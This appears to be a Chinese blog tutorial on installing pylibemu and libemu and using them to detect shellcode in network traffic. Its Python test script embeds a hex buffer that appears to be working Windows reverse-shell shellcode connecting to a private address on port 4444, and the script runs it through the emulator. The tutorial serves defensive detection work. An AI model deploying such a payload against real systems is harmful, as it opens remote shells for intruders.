检测流量中的ShellCode脚本pylibemu

本文介绍了如何安装和使用Pylibemu库来检测流量中的ShellCode脚本。首先从GitHub克隆源码,然后编译libemu和Pylibemu。在测试代码中,展示了如何利用Pylibemu进行ShellCode检测并输出emu_profile_output。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

setp1:安装源码
Pylibemu https://github.com/buffer/pylibemu
libemugit clone git://git.carnivore.it/libemu.git

setp2:编译libemu 
autoreconf -v -i
./configure --prefix=/opt/libemu
make install
如果遇到错误请尝试:
清除makefile中的-Werror 字符
-Werror选项,GCC会在所有产生警告的地方停止编译

setp3:编译Pylibmu 
python setup.py build
sudo python setup.py install
如果遇到错误请尝试:
# echo "/opt/libemu/lib/" > /etc/ld.so.conf.d/libemu.conf 
# ldconfig 
# python 
>>> import pylibemu 
>>>


#!/usr/bin/python
#测试代码如下:
import pylibemu
buf  = b""
buf  = b"\xfc\x6a\xeb\x47\xe8\xf9\xff\xff\xff\x60\x31\xdb\x8b\x7d"
buf += b"\x3c\x8b\x7c\x3d\x78\x01\xef\x8b\x57\x20\x01\xea\x8b\x34"
buf += b"\x9a\x01\xee\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x84\xc0"
buf += b"\x75\xf6\x43\x66\x39\xca\x75\xe3\x4b\x8b\x4f\x24\x01\xe9"
buf += b"\x66\x8b\x1c\x59\x8b\x4f\x1c\x01\xe9\x03\x2c\x99\x89\x6c"
buf += b"\x24\x1c\x61\xff\xe0\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c"
buf += b"\x8b\x70\x1c\xad\x8b\x68\x08\x5e\x66\x53\x66\x68\x33\x32"
buf += b"\x68\x77\x73\x32\x5f\x54\x66\xb9\x72\x60\xff\xd6\x95\x53"
buf += b"\x53\x53\x53\x43\x53\x43\x53\x89\xe7\x66\x81\xef\x08\x02"
buf += b"\x57\x53\x66\xb9\xe7\xdf\xff\xd6\x66\xb9\xa8\x6f\xff\xd6"
buf += b"\x97\x68\xc0\xa8\x35\x14\x66\x68\x11\x5c\x66\x53\x89\xe3"
buf += b"\x6a\x10\x53\x57\x66\xb9\x57\x05\xff\xd6\x50\xb4\x0c\x50"
buf += b"\x53\x57\x53\x66\xb9\xc0\x38\xff\xe6"
emulator = pylibemu.Emulator()
offset = emulator.shellcode_getpc_test(buf)
if offset >= 0:
  print "GetPC code detected at:",offset
else:
  print "No GetPC code detected:",offset
emulator.prepare(buf, offset)
emulator.test()
print emulator.emu_profile_output
图片 

参考网站:
http://resources.infosecinstitute.com/shellcode-detection-emulation-libemu/
http://dvlabs.tippingpoint.com/blog/2011/12/05/shellcode-detection-python
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值